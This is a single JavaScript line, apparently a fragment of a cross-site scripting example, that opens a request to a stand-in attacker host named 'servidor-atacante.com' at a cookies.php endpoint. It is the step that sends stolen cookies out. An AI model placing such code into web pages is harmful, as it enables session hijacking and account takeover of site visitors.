xhr.open('GET', 'www.servidor-atacante.com/cookies.php');